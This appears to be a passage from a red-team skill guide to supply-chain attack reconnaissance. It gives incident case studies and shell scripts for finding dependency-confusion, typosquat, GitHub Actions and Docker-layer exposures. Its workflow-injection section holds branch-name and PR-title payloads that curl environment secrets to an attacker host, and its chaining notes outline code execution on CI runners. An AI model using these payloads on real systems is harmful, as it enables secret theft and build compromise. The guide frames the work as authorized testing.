`flatmap-stream` containing payload targeting the Copay bitcoin wallet's build — stole BTC\u002FBCH wallet seeds from any Copay user.\n- **Root cause:** Social engineering of a maintenance-handover; no review of new contributors taking over critical packages. The malicious dep was only triggered when `event-stream` was bundled into the Copay wallet (build-context targeting).\n- **Impact:** Copay wallet users had keys stolen; exact dollar damage never disclosed publicly. Triggered the npm-wide 2FA push and \"popular packages need additional review\" policy.\n- **References:**\n  - GitHub Security advisory: https:\u002F\u002Fgithub.com\u002Fadvisories\u002FGHSA-mh6f-8j2x-4483\n  - npm post-mortem: https:\u002F\u002Fgithub.blog\u002F2018-11-26-npm-package-event-stream\u002F\n  - Original disclosure thread: https:\u002F\u002Fgithub.com\u002Fdominictarr\u002Fevent-stream\u002Fissues\u002F116\n  - Snyk write-up: https:\u002F\u002Fsnyk.io\u002Fblog\u002Fa-post-mortem-of-the-malicious-event-stream-backdoor\u002F\n- **Recon takeaway:** Check `npm view \u003Cpkg> maintainers` and recent maintainer changes for packages your target depends on. A maintainer change in the past 90 days on a 100K+ download package is a yellow flag. Also: payload-targeting-by-build-context (only fires when bundled into specific app) is HARD to detect — static scanners miss it.\n\n### 7. PHP Git server compromise (March 2021)\n\n- **Flow:** Attackers pushed two malicious commits to the official `php-src` git repository on `git.php.net`, signed as Rasmus Lerdorf and Nikita Popov. The commits added a Zend backdoor that executed code from the `User-Agentt` HTTP header (note double-t).\n- **Root cause:** Self-hosted git server (Gitolite-based `git.php.net`) had a credential \u002F authentication flaw — possibly password-stored-in-plain in a user database leak. PHP team migrated to GitHub as canonical source after this incident.\n- **Impact:** Backdoor commits caught within hours, never shipped in a release. But this is the canonical case of \"self-hosted source-of-truth = single point of failure.\"\n- **References:**\n  - PHP.net post-mortem: https:\u002F\u002Fnews-web.php.net\u002Fphp.internals\u002F113838\n  - Nikita Popov's analysis: https:\u002F\u002Fexternals.io\u002Fmessage\u002F113848\n  - ZDNet coverage: https:\u002F\u002Fwww.zdnet.com\u002Farticle\u002Fphp-internal-git-server-hacked-with-malicious-code-pushed-to-the-php-src-repo\u002F\n- **Recon takeaway:** Targets running self-hosted git (Gitea, Gitolite, Phabricator, Bitbucket Server) are higher-risk than GitHub-hosted. Recon should fingerprint git-server software, check for default creds, and watch for SSH-key-based pushes from unexpected IPs (visible in commit metadata).\n\n### 8. Log4Shell (CVE-2021-44228, Dec 2021)\n\n- **Flow:** Not a supply-chain ATTACK per se, but the canonical \"you don't know what's in your dependency tree\" event. A JNDI lookup feature in Apache Log4j 2.x allowed remote code execution via `${jndi:ldap:\u002F\u002Fattacker\u002F...}` in any logged string. Because Log4j is transitively pulled by thousands of Java apps, hundreds of millions of systems were vulnerable.\n- **Root cause:** Unsafe-by-default feature shipped in 2013 (`MessageLookup` substitution); deeply nested transitive dependency made inventory and patching almost impossible.\n- **Impact:** \"Most critical vulnerability in a decade\" per CISA Director Jen Easterly. Affected every major cloud, every Apache product, every Java enterprise stack. Ongoing mass exploitation by Conti, Khonsari ransomware, state actors.\n- **References:**\n  - CISA Log4j page: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Fcybersecurity-advisories\u002Faa21-356a\n  - Apache advisory: https:\u002F\u002Flogging.apache.org\u002Flog4j\u002F2.x\u002Fsecurity.html\n  - LunaSec breakdown: https:\u002F\u002Fwww.lunasec.io\u002Fdocs\u002Fblog\u002Flog4j-zero-day\u002F\n  - GovCERT.ch tree of impacted products: https:\u002F\u002Fwww.cisa.gov\u002Fknown-exploited-vulnerabilities-catalog (KEV entry)\n- **Recon takeaway:** SBOMs are the answer here. The recon skill's Step 8 (SBOM mining) earns its keep — pulling SPDX\u002FCycloneDX from public release artefacts gives you exact transitive dependency versions, which you can then map to OSV \u002F NVD for known CVEs. Most orgs underestimate their transitive depth.\n\n### 9. tj-actions\u002Fchanged-files GitHub Action compromise (CVE-2025-30066, March 2025)\n\n- **Flow:** Attacker compromised the `tj-actions\u002Fchanged-files` GitHub Action (used by ~23,000 repos) and modified all version tags v1–v45 to point to a malicious commit. The injected code ran `printenv` and dumped CI secrets to GitHub Actions logs — visible to anyone with read access on public repos.\n- **Root cause:** Mutable tag references in GitHub Actions — `uses: tj-actions\u002Fchanged-files@v35` resolves at run time, so an attacker who controls the repo can repoint old tags. Most consumers had not pinned to commit SHA (`@\u003Csha>`).\n- **Impact:** ~23,000 repositories impacted; CISA added to KEV; thousands of secrets (AWS keys, npm tokens, Docker Hub creds) leaked into public Action logs. Multiple downstream incidents (Coinbase, Cloudflare, others) traced back.\n- **References:**\n  - CISA KEV entry: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Falerts\u002F2025\u002F03\u002F18\u002Fsupply-chain-compromise-third-party-github-action-cve-2025-30066\n  - StepSecurity disclosure: https:\u002F\u002Fwww.stepsecurity.io\u002Fblog\u002Fharden-runner-detection-tj-actions-changed-files-action-is-compromised\n  - Wiz analysis: https:\u002F\u002Fwww.wiz.io\u002Fblog\u002Fgithub-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066\n  - Semgrep: https:\u002F\u002Fsemgrep.dev\u002Fblog\u002F2025\u002Fpopular-github-action-tj-actionschanged-files-is-compromised\u002F\n- **Recon takeaway:** This is the highest-yield current recon vector. Grep public repos for `uses: \u003Corg>\u002F\u003Crepo>@v\\d+` (mutable tag) versus `uses: \u003Corg>\u002F\u003Crepo>@\u003Csha>` (pinned). Any unpinned third-party action = supply-chain risk. The skill's Step 6 should explicitly flag mutable-tag usage.\n\n### 10. PyPI typosquats (`colourama`, `python3-dateutil`, `jeIlyfish`, et al.)\n\n- **Flow:** Attackers register PyPI packages with names visually\u002Ftypographically similar to popular ones — `colourama` for `colorama`, `python3-dateutil` for `python-dateutil`, `jeIlyfish` (capital-I instead of L) for `jellyfish`. Each contained `setup.py` post-install hooks exfiltrating SSH keys, GPG keys, GitHub tokens, or installing crypto-stealers targeting `~\u002F.bitcoin\u002Fwallet.dat`.\n- **Root cause:** PyPI permits visually-confusable names; pip resolves names by exact string match. No human-review gate on new package publication.\n- **Impact:** Each campaign typically \u003C10K installs before takedown, but `jeIlyfish` lived 1 year (Dec 2018 → Dec 2019). Cumulative: dozens of campaigns documented annually by Snyk\u002FPhylum\u002FSonatype\u002FReversingLabs.\n- **References:**\n  - ReversingLabs jeIlyfish\u002Fpython3-dateutil: https:\u002F\u002Fwww.reversinglabs.com\u002Fblog\u002Fmining-for-malicious-ruby-gems\n  - Snyk colourama \u002F pytagora analysis: https:\u002F\u002Fsnyk.io\u002Fblog\u002Fmalicious-packages-found-to-be-typo-squatting-in-pypi\u002F\n  - Phylum 2024 typosquat report: https:\u002F\u002Fblog.phylum.io\u002Fthe-state-of-the-software-supply-chain\u002F\n  - Sonatype 2024 State of the Software Supply Chain (>700K malicious packages found): https:\u002F\u002Fwww.sonatype.com\u002Fstate-of-the-software-supply-chain\u002F\n- **Recon takeaway:** Step 5 of the skill (typosquat candidate generation) maps directly here. For external recon, you LIST candidate typosquat names — you NEVER publish unless explicitly authorized. The deliverable is \"these 17 typosquat variants of your top deps are currently unclaimed; recommendation: register them defensively.\"\n\n### 11. Alex Birsan dependency-confusion disclosure (Feb 2021)\n\n- **Flow:** Birsan extracted internal npm scope names from leaked `package.json` files (publicly cached on archive.org, accidentally-public GitHub repos, JS bundles) for Apple, Microsoft, PayPal, Shopify, Uber, Tesla, Yelp, and ~35 others. He published packages on public npm\u002FPyPI\u002FRubyGems with those internal names AND a higher semver. Most companies' build systems then resolved the public package over the internal one and executed his telemetry-only payload.\n- **Root cause:** Package managers (npm, pip, gem) default to \"highest version wins, regardless of registry.\" Internal-package names leaked to external sources. No scope-to-registry enforcement.\n- **Impact:** $130K+ in bug bounties (highest known SINGLE researcher payout across multiple programs in 2021); birthed the entire \"dependency confusion\" attack class; npm\u002FPyPI\u002FMicrosoft Azure Artifacts all issued mitigations.\n- **References:**\n  - Original Birsan write-up: https:\u002F\u002Fmedium.com\u002F@alex.birsan\u002Fdependency-confusion-4a5d60fec610\n  - Microsoft white paper: https:\u002F\u002Fazure.microsoft.com\u002Fen-us\u002Fresources\u002F3-ways-to-mitigate-risk-using-private-package-feeds\u002F\n  - GitHub post-mortem (npm side): https:\u002F\u002Fgithub.blog\u002F2021-02-12-how-to-prevent-dependency-confusion-on-public-package-registries\u002F\n  - Snyk research: https:\u002F\u002Fsnyk.io\u002Fblog\u002Fdependency-confusion-vulnerability-novel-supply-chain-attack\u002F\n- **Recon takeaway:** This is the founding citation for Step 3 + Step 4 of the skill. Internal scope discovery via JS bundles is the canonical recon path. Note Birsan's severity calibration: \"name is unclaimed\" alone was enough at most targets because their builds used `npm install` against a config that fell through to public npm — but the skill's severity table correctly notes this isn't universal.\n\n### 12. XZ Utils (CVE-2024-3094, March 2024)\n\n- **Flow:** \"Jia Tan\" (`JiaT75`) social-engineered the maintainer of `xz-utils` (an upstream OSS compression library used in nearly every Linux distro) over 2+ years. Once granted co-maintainer status, they inserted a multi-stage backdoor into `liblzma` build process — obfuscated as test fixtures — that would hijack SSH authentication via OpenSSH's systemd-notify integration.\n- **Root cause:** Single-maintainer OSS burnout + nation-state-grade patience (Operation J \u002F suspected APT). The backdoor was caught BEFORE major distros shipped it (only Fedora Rawhide and Debian unstable had it briefly) because Andres Freund noticed a 500ms SSH delay during a benchmark.\n- **Impact:** Caught before mass deployment, near-miss event. Triggered industry-wide reassessment of \"single-maintainer critical OSS\" risk. CISA, NIST, OpenSSF all issued post-mortems.\n- **References:**\n  - CISA advisory: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Falerts\u002F2024\u002F03\u002F29\u002Freported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094\n  - Andres Freund's original disclosure: https:\u002F\u002Fwww.openwall.com\u002Flists\u002Foss-security\u002F2024\u002F03\u002F29\u002F4\n  - Russ Cox timeline: https:\u002F\u002Fresearch.swtch.com\u002Fxz-timeline\n  - Sam James technical breakdown: https:\u002F\u002Fgist.github.com\u002Fthesamesam\u002F223949d5a074ebc3dce9ee78baad9e27\n- **Recon takeaway:** Hardest case for external recon — social-engineering a maintainer over years leaves few external signals. But: GitHub commit-history analysis (new contributors gaining commit access on critical libs, commits adding obfuscated test fixtures, build-only-on-release changes) is what Andres Freund effectively did. The skill's Step 2 (enumerate public repos) can be extended to \"watch for high-trust grants to low-history accounts.\"\n\n---\n\n### Coverage map: cases → recon skill steps\n\n| Step in skill | Anchoring case(s) |\n|---|---|\n| Step 1 — GitHub org discovery | Birsan 2021, XZ 2024 |\n| Step 2 — Public repo artefact mining | Codecov 2021, XZ 2024, PHP 2021 |\n| Step 3 — Internal package-name discovery | Birsan 2021 |\n| Step 4 — Dependency-confusion check | Birsan 2021, ua-parser-js 2021 |\n| Step 5 — Typosquat candidates | PyPI `colourama`\u002F`jeIlyfish`, event-stream 2018 |\n| Step 6 — GitHub Actions workflow injection | tj-actions\u002Fchanged-files 2025, Codecov 2021 |\n| Step 7 — Docker\u002Fcontainer registry mining | Codecov 2021, 3CX 2023 |\n| Step 8 — SBOM \u002F artefact metadata | Log4Shell 2021, MOVEit 2023 |\n| Step 9 — Internal registry URL leakage | Birsan 2021, SolarWinds 2020 |\n| Step 10 — npm\u002FPyPI org presence | ua-parser-js 2021, event-stream 2018 |\n\n### Patterns across all 12 cases\n\n- **Code-signing does NOT save you** — SolarWinds, 3CX, ua-parser-js all shipped legitimately-signed malicious code.\n- **Pinning to mutable references is the recurring failure** — `curl | bash` (Codecov), `@v35` action tags (tj-actions), `^1.0.0` semver (Birsan, event-stream).\n- **Maintainer-account compromise > technical CVE** for npm\u002FPyPI ecosystem — 6 of 12 cases.\n- **Cascading supply chain is now normal** — 3CX from X_TRADER; Codecov → HashiCorp → HashiCorp's downstream users. Assume your target's vendors' vendors are in scope conceptually.\n- **CI runners are the highest-value foothold** — every case where attacker code executed on a CI runner yielded cloud \u002F GitHub \u002F secrets in bulk.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-rce`** — Dependency confusion lands as RCE on whatever runner installs the package; CI runners are the highest-value target. Chain primitive: internal package name leaked in public JS bundle \u002F SBOM \u002F Docker image → publish malicious package to public npm\u002FPyPI under same name with higher version → next `npm install` \u002F `pip install` on CI runner executes attacker code in `preinstall` hook → `hunt-rce` post-foothold (env-var extraction yields AWS keys, GitHub PATs, Slack tokens) → CI-plane takeover.\n- **`cloud-iam-deep`** — CI runners have IAM credentials; supply-chain RCE there is a credential-exfil bonanza. Chain primitive: malicious package executes on GitHub Actions runner → reads `$AWS_ACCESS_KEY_ID` \u002F `$GITHUB_TOKEN` from env → `cloud-iam-deep` enumeration → IAM-privilege-escalation chain → production cloud-plane access.\n- **`offensive-osint`** — Recon discipline overlaps heavily; SBOMs, JS bundles, GitHub org enumeration, Docker registry tags all live in both. Chain primitive: `offensive-osint` GitHub-org recon yields internal package names referenced in CI workflows → `supply-chain-attack-recon` cross-references these against public npm\u002FPyPI for typosquat\u002Fconfusion candidates.\n- **`hunt-cloud-misconfig`** — Container registries (Docker Hub, GHCR, ECR public) frequently expose private images by accident. Chain primitive: SBOM mining reveals `internal-tools-v2:latest` referenced → check Docker Hub for accidentally-public mirror → `hunt-cloud-misconfig` registry enum → pull image → extract secrets baked into layers.\n- **`triage-validation`** + **`redteam-report-template`** — Supply-chain RECON is in scope; actual publishing is EXTERNAL-OFFENSIVE and needs explicit written sign-off. Chain primitive: recon-only candidate list assembled → run through `triage-validation` 7-Question Gate (specifically: \"can I demonstrate impact WITHOUT publishing?\") → report as \"dependency-confusion candidate inventory + reproduction steps\" via `redteam-report-template`, never as a published-package PoC unless client signed off in writing.\n","## When to use\n\nTrigger when:\n- Target has a public GitHub organization (find via OSINT)\n- JS bundles reference internal-looking package names (`@target-internal\u002F...`, `target-utils`, `target-shared`)\n- Build logs, SBOMs, or `package-lock.json` files are publicly accessible\n- Target uses CI\u002FCD that's partially public (GitHub Actions, GitLab CI, Bitrise)\n- Docker images on Docker Hub\u002FGHCR\u002FQuay belong to target org\n- Findings include `npmrc`\u002F`pip.conf`\u002F`gradle.properties` with internal registry URLs\n- `.github\u002Fworkflows\u002F*.yml` files reference internal tooling\n\nDo NOT use for:\n- Internal-network artifact registries (out of scope per external boundary)\n- Actually publishing typosquats \u002F dep-confusion packages without explicit OK\n- Compromising upstream open-source projects (massive blast radius — illegal in most jurisdictions without authorization)\n\n---\n\n## The supply-chain attack surface map\n\n```\nTarget Org\n├── Public GitHub Org → workflow files → secrets exfil opportunities\n├── Internal package names in JS\u002FAndroid bundles → dependency confusion\n├── Docker images on public registries → secrets in layers, RCE on pull\n├── SBOM \u002F artifact metadata → exact dep versions for known-vuln chaining\n├── npmrc \u002F pip.conf in repos → internal registry URL disclosure\n├── External package dependencies → typosquat name candidates\n└── Build\u002Frelease pipelines → injection if pull_request_target etc.\n```\n\n---\n\n## Step 1 — GitHub org discovery\n\n```bash\nTARGET=\"\u003Cbrand>\"  # set to target brand name\n\n# Direct guesses\nfor guess in $TARGET \"${TARGET}-tech\" \"${TARGET}corp\" \"${TARGET}-io\" \"${TARGET}-eng\"; do\n  curl -sI \"https:\u002F\u002Fgithub.com\u002F$guess\" | grep -E \"HTTP|status\" | head -1\ndone\n\n# Via WHOIS \u002F email-domain → GitHub search\ngh search users --owner-affiliations=organization --query \"$TARGET\" --limit 10\n\n# Via employees → reverse from social media + GitHub profile\n# Many employees list their employer org on their GitHub profile\n```\n\n---\n\n## Step 2 — Enumerate public repos for sensitive artifacts\n\n```bash\nORG=\"targetorg\"\n\n# List public repos\ngh repo list \"$ORG\" --limit 100 --json name,description,visibility,defaultBranchRef\n\n# Look for high-signal repo names\ngh repo list \"$ORG\" --limit 100 --json name | jq -r '.[].name' | grep -iE \"internal|infra|deploy|config|secret|setup|sdk|api\"\n\n# Clone all (small org) or selectively\ngh repo clone \"$ORG\u002F$repo_name\"\n```\n\n---\n\n## Step 3 — Internal package-name discovery\n\n### From JS bundles\n\n```bash\n# JS bundles are the easiest source of internal npm names\ncurl -sk https:\u002F\u002Ftarget.com\u002Fmain.js | grep -oE '@[a-z-]+\u002F[a-z-]+' | sort -u\ncurl -sk https:\u002F\u002Ftarget.com\u002Fmain.js | grep -oE 'require\\(\"[^\"]+\"\\)' | sort -u\n\n# Look for scoped names that are NOT public on npm\nfor pkg in @target\u002Futils @target-internal\u002Fapi @companybrand\u002Fsdk; do\n  status=$(curl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F$pkg\" | head -1 | awk '{print $2}')\n  echo \"  $pkg → $status\"\n  # 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE\ndone\n```\n\n### From GitHub repo package.json files\n\n```bash\n# Public repos with package.json that reference internal scopes\nfor repo in $(gh repo list \"$ORG\" --limit 50 --json name --jq '.[].name'); do\n  pkg=$(gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002Fpackage.json\" --jq '.content' 2>\u002Fdev\u002Fnull | base64 -d 2>\u002Fdev\u002Fnull)\n  echo \"$pkg\" | jq -r '.dependencies \u002F\u002F {} | keys[]' 2>\u002Fdev\u002Fnull | grep -E '^@[a-z-]+\u002F'\ndone | sort -u\n```\n\n### From Python projects\n\n```bash\n# Internal pip package names\nfor repo in $(gh repo list \"$ORG\" --limit 50 --json name --jq '.[].name'); do\n  gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002Frequirements.txt\" --jq '.content' 2>\u002Fdev\u002Fnull | base64 -d 2>\u002Fdev\u002Fnull\ndone | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'\n```\n\n---\n\n## Step 4 — Dependency-confusion vulnerability check\n\nFor each internal-looking package name discovered:\n\n```bash\nNAME=\"@target-internal\u002Futils\"   # example\n\n# npm check\ncurl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F$NAME\" | head -1\n# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE\n\n# pypi check (no scopes, just name)\nNAME=\"target_utils\"\ncurl -sI \"https:\u002F\u002Fpypi.org\u002Fproject\u002F$NAME\u002F\" | head -1\n# 404 → name is registerable\n\n# rubygems\ncurl -sI \"https:\u002F\u002Frubygems.org\u002Fapi\u002Fv1\u002Fgems\u002F$NAME.json\" | head -1\n\n# Go modules — slightly different, since module names are URLs\n# Check if module path is reachable\ncurl -sI \"https:\u002F\u002Fproxy.golang.org\u002Fgithub.com\u002F$ORG\u002F$NAME\u002F@latest\" | head -1\n```\n\n**Severity calibration:** Just because a name is unclaimed doesn't mean it's exploitable. You also need:\n1. Evidence the target's BUILD SYSTEM resolves names from public registries (not just their internal one)\n2. OR evidence the target's package manager is configured insecurely (e.g., `.npmrc` without `@scope:registry=` mapping)\n3. OR the package would be installed by their builds (it's actually in package.json, not just referenced in dead code)\n\nA 404 on registry without supporting context is INFORMATIONAL only.\n\n---\n\n## Step 5 — Typosquat candidates (around external dependencies)\n\nFor each external public dependency the target uses:\n\n```bash\n# Common typosquat patterns:\n# Original: \"react-router-dom\"\n# Typos: \n#   \"react-router-doms\" (extra s)\n#   \"react-routter-dom\" (double t)\n#   \"react-rotuer-dom\" (transposed)\n#   \"react--router-dom\" (double dash)\n#   \"react-router-dorn\" (m→rn)\n#   \"reactrouterdom\" (no dashes)\n\n# Generate candidates\npython3 -c \"\nimport sys\nname='react-router-dom'\nfor i in range(len(name)):\n    print(name[:i] + name[i+1:])   # delete\n    if i \u003C len(name)-1:\n        print(name[:i] + name[i+1] + name[i] + name[i+2:])  # transpose\n\"\n\n# Check which candidates are UNCLAIMED on the registry\nfor candidate in ...; do\n  status=$(curl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F$candidate\" | head -1 | awk '{print $2}')\n  [ \"$status\" = \"404\" ] && echo \"  UNCLAIMED: $candidate\"\ndone\n```\n\n**⚠ EXTERNAL-OFFENSIVE NOTE:** publishing a typosquat package to a public registry is an attack on the wider ecosystem. NEVER do this without explicit, written, scope-clarified sign-off. It can affect users outside your engagement and may be illegal.\n\n---\n\n## Step 6 — GitHub Actions workflow injection scan\n\nFor each public repo with `.github\u002Fworkflows\u002F`:\n\n```bash\nfor repo in $(gh repo list \"$ORG\" --limit 50 --json name --jq '.[].name'); do\n  workflows=$(gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002F.github\u002Fworkflows\" --jq '.[].name' 2>\u002Fdev\u002Fnull)\n  for wf in $workflows; do\n    content=$(gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002F.github\u002Fworkflows\u002F$wf\" --jq '.content' 2>\u002Fdev\u002Fnull | base64 -d 2>\u002Fdev\u002Fnull)\n    echo \"=== $repo\u002F$wf ===\"\n    \n    # High-risk patterns:\n    # 1. pull_request_target (runs with secrets on PR from forks)\n    echo \"$content\" | grep -E 'pull_request_target'\n    \n    # 2. Untrusted context interpolation\n    echo \"$content\" | grep -E '\\$\\{\\{[^}]*github\\.(event|head_ref|pull_request)[^}]*\\}\\}'\n    \n    # 3. ${{ github.event.* }} into shell run blocks\n    echo \"$content\" | grep -B1 -A2 'run:' | grep -E '\\$\\{\\{ ?github\\.event\\.'\n    \n    # 4. checkout of PR head with elevated perms\n    echo \"$content\" | grep -E 'ref:.*pull_request|head_ref'\n    \n    # 5. Self-hosted runner without isolation\n    echo \"$content\" | grep -E 'runs-on:.*self-hosted'\n\n    # 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@\u003C40-char sha>)\n    #    Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions\u002Fchanged-files).\n    echo \"$content\" | grep -E 'uses: *[^ ]+\u002F[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\\b' | grep -v '@[0-9a-f]\\{40\\}'\n  done\ndone\n```\n\n### Injection patterns to flag (severity guide)\n\n| Pattern | Severity |\n|---|---|\n| `pull_request_target` + `actions\u002Fcheckout` with `ref: pull_request.head.sha` + uses repo secrets | **Critical** — RCE on runner with org secrets |\n| `${{ github.event.pull_request.title }}` interpolated into shell | **Critical** — script injection via PR title |\n| Third-party action pinned to a mutable tag (`uses: org\u002Frepo@v1` \u002F `@main`) instead of a commit SHA | **High** — repointable supply-chain vector (see case #9) |\n| Self-hosted runner reachable from public repo workflows | **High** — persistent attacker pivot |\n| Issue-comment-triggered workflow that runs `gh` with token | **High** |\n| Workflow downloads from URL that target controls | **Medium** |\n\n### GitHub Actions context injection sinks (branch name, PR title, issue body)\n\nUntrusted context flowing from PR metadata into `run:` blocks is a classic injection vector. Test payloads:\n\n```bash\n# Malicious branch name (test in a fork PR):\ngit checkout -b 'feat\u002Fx\"; curl https:\u002F\u002Fattacker\u002F?d=$(env | base64);\"'\ngit push origin 'feat\u002Fx\"; curl https:\u002F\u002Fattacker\u002F?d=$(env | base64);\"'\n\n# Malicious PR title (create a test PR with this title):\nPR_TITLE='x\"; curl https:\u002F\u002Fattacker\u002F?d=$(echo $GITHUB_TOKEN | base64);\"'\n\n# Malicious issue body:\nISSUE_BODY='x\"; curl https:\u002F\u002Fattacker\u002F?leak=$(git config user.name);\"'\n\n# Then watch workflow logs. If the injected commands execute, secrets are exfil'd.\n```\n\n### Public GitHub Actions run logs (leaks secrets)\n\nActions logs are public by default on public repos. Look for:\n\n```bash\n# List all Action runs for a repo\ngh api repos\u002FOWNER\u002FREPO\u002Factions\u002Fruns --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}'\n\n# Fetch logs from a run\ngh api repos\u002FOWNER\u002FREPO\u002Factions\u002Fruns\u002F\u003Cid>\u002Flogs --jq '.logs' | base64 -d\n\n# Search logs for common leakage patterns\ngh api repos\u002FOWNER\u002FREPO\u002Factions\u002Fruns\u002F\u003Cid>\u002Flogs | grep -iE 'token|key|secret|password|credential|aws_'\n```\n\nLeaked secrets in logs = direct credential exfil; severity depends on the token type (GitHub PAT, npm token, AWS key, etc.).\n\n### Static detection of Actions injection sinks with zizmor\n\nFor high-confidence automated flagging, run the `zizmor` analyzer on all workflow files:\n\n```bash\n# Install zizmor (Rust-based, from https:\u002F\u002Fgithub.com\u002Fwoodruffw\u002Fzizmor)\ncargo install zizmor\n\n# Scan all workflows\nzizmor .github\u002Fworkflows\u002F*.yml\n\n# Output includes: pull_request_target, mutable-tag uses, context interpolation, etc.\n# Sort findings by risk tier\n```\n\nZizmor saves manual regex work and catches edge cases (e.g., indirect context interpolation via variable references).\n\n---\n\n## Step 7 — Docker \u002F container image registry mining\n\n```bash\n# Docker Hub\ncurl -s \"https:\u002F\u002Fhub.docker.com\u002Fv2\u002Frepositories\u002F$ORG\u002F?page_size=100\" | jq -r '.results[].name'\n\n# GHCR (GitHub Container Registry) — public images visible in repo packages tab\ngh api \"users\u002F$ORG\u002Fpackages?package_type=container\" 2>\u002Fdev\u002Fnull\ngh api \"orgs\u002F$ORG\u002Fpackages?package_type=container\" 2>\u002Fdev\u002Fnull\n\n# For each image, list tags\nfor img in image1 image2; do\n  curl -s \"https:\u002F\u002Fhub.docker.com\u002Fv2\u002Frepositories\u002F$ORG\u002F$img\u002Ftags?page_size=20\" | jq -r '.results[].name'\ndone\n\n# Pull and inspect layers\ndocker pull \"$ORG\u002F$img:latest\"\ndocker history --no-trunc \"$ORG\u002F$img:latest\"\n\n# Mine layers for secrets\ndocker save \"$ORG\u002F$img:latest\" -o \u002Ftmp\u002Fimage.tar\nmkdir -p \u002Ftmp\u002Fimg && tar -xf \u002Ftmp\u002Fimage.tar -C \u002Ftmp\u002Fimg\nfind \u002Ftmp\u002Fimg -name \"*.tar*\" -exec tar -xf {} -C \u002Ftmp\u002Fimg\u002Fextracted \\;\n# Then run gitleaks \u002F trufflehog over extracted filesystem\ntrufflehog filesystem \u002Ftmp\u002Fimg\u002Fextracted --no-update\n```\n\n---\n\n## Step 8 — SBOM \u002F artifact metadata leakage\n\n```bash\n# Look for SBOMs published as releases (SPDX, CycloneDX format)\ngh api \"repos\u002F$ORG\u002F$REPO\u002Freleases\" --jq '.[] | .assets[] | select(.name | test(\"sbom|cyclonedx|spdx\"; \"i\")) | .browser_download_url'\n\n# JSON dependency lockfiles in releases\ngh api \"repos\u002F$ORG\u002F$REPO\u002Freleases\" --jq '.[] | .assets[] | select(.name | test(\"lock|deps\"; \"i\")) | .browser_download_url'\n\n# Exact-version-pinned deps → known-CVE chaining\n# Compare versions to nuclei nvd templates or osv.dev for known vulns\ncurl -s \"https:\u002F\u002Fapi.osv.dev\u002Fv1\u002Fquery\" -d '{\"package\": {\"name\": \"lodash\", \"ecosystem\": \"npm\"}, \"version\": \"4.17.10\"}'\n```\n\n---\n\n## Step 9 — Internal registry URL leakage\n\n```bash\n# .npmrc patterns\ngrep -r \"registry=\" .                                            # in cloned repos\ngrep -r \"_authToken=\" .                                          # leaked npm token!\ngrep -r \"@.*registry=\" .                                          # scoped registry\n\n# pip config\ngrep -r \"extra-index-url\" .\ngrep -r \"index-url\" .\n\n# Gradle \u002F Maven\ngrep -rE \"(mavenCentral|maven\\s*\\{)\" .\ngrep -r \"url.*\\(.*nexus\" .\n\n# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable\n```\n\n---\n\n## Step 10 — npm\u002FPyPI organizational presence\n\n```bash\n# Some orgs maintain a public npm scope mirroring their brand\ncurl -s \"https:\u002F\u002Fregistry.npmjs.org\u002F-\u002Fv1\u002Fsearch?text=scope:$ORG&size=50\" | jq '.objects[].package.name'\n\n# Public PyPI presence\ncurl -s \"https:\u002F\u002Fpypi.org\u002Fsimple\u002F\" | grep \"$ORG\" | head -20\n\n# Check if scope is taken — if it's NOT, an attacker could register\n# (relevant for any internal package using that scope)\ncurl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F-\u002Forg\u002F$ORG\"\n```\n\n---\n\n## Step 11 — Frontend and third-party dependency checks\n\n### Compromised CDN detection (polyfill.io, etc.)\n\nKnown-compromised CDNs and analytics services have been weaponized. Check target's public HTML\u002FJS:\n\n```bash\n# Detect usage of polyfill.io and similar historically-compromised services\ncurl -s https:\u002F\u002Ftarget.com | grep -i polyfill\ncurl -s https:\u002F\u002Ftarget.com | grep -iE '(polyfill\\.io|cdn\\.jsdelivr\\.net.*polyfill|babel\\.min\\.js)'\n\n# Check JavaScript bundles\nfor bundle in public\u002F*.js main.*.js app.*.js; do\n  grep -i polyfill \"$bundle\" && echo \"FOUND: $bundle\"\ndone\n```\n\nReference: polyfill.io was compromised in 2024 to serve malicious payloads. Presence = supply-chain risk.\n\n---\n\n## Tooling\n\n| Tool | Purpose |\n|---|---|\n| **`trufflehog`** | Filesystem\u002Fgit\u002Fdocker secret scan |\n| **`gitleaks`** | Git history secret scan |\n| **`dependency-confusion`** (Confused) | npm scope\u002FPyPI checks |\n| **`packj`** | Package risk score (PyPI\u002Fnpm\u002FRubyGems) |\n| **`Lift \u002F Snyk vuln-db`** | Known CVE lookup by package version |\n| **`actionlint`** | GitHub Actions static analyzer |\n| **`zizmor`** | GitHub Actions injection & security antipattern detection |\n| **`OSSGadget`** | Microsoft's package metadata toolkit |\n| **`semgrep`** + supply-chain rules | Workflow injection detection |\n| **`osv-scanner`** | Match versions to known vulns |\n\n---\n\n## Severity scoring guidance\n\n| Finding | Severity |\n|---|---|\n| Internal package name + no scope-mapping + unclaimed on public npm + actively in builds | **Critical** — Dep-confusion RCE |\n| Internal package name + scope-mapping in `.npmrc` but `_authToken` leaked | **Critical** — direct registry push |\n| Pull_request_target workflow + secrets exposed + PR-controlled code execution | **Critical** — Org-wide token theft |\n| Docker image with leaked secret in layer | **High** (varies by secret) |\n| Internal registry URL disclosed (but no creds) | **Low** — Info-disc only |\n| Typosquat candidate identified (not published) | **Informational** — Awareness item |\n| Public org has 1000+ unused names that COULD be claimed | **Informational** — Hygiene |\n\n---\n\n## Anti-patterns\n\n- **DO 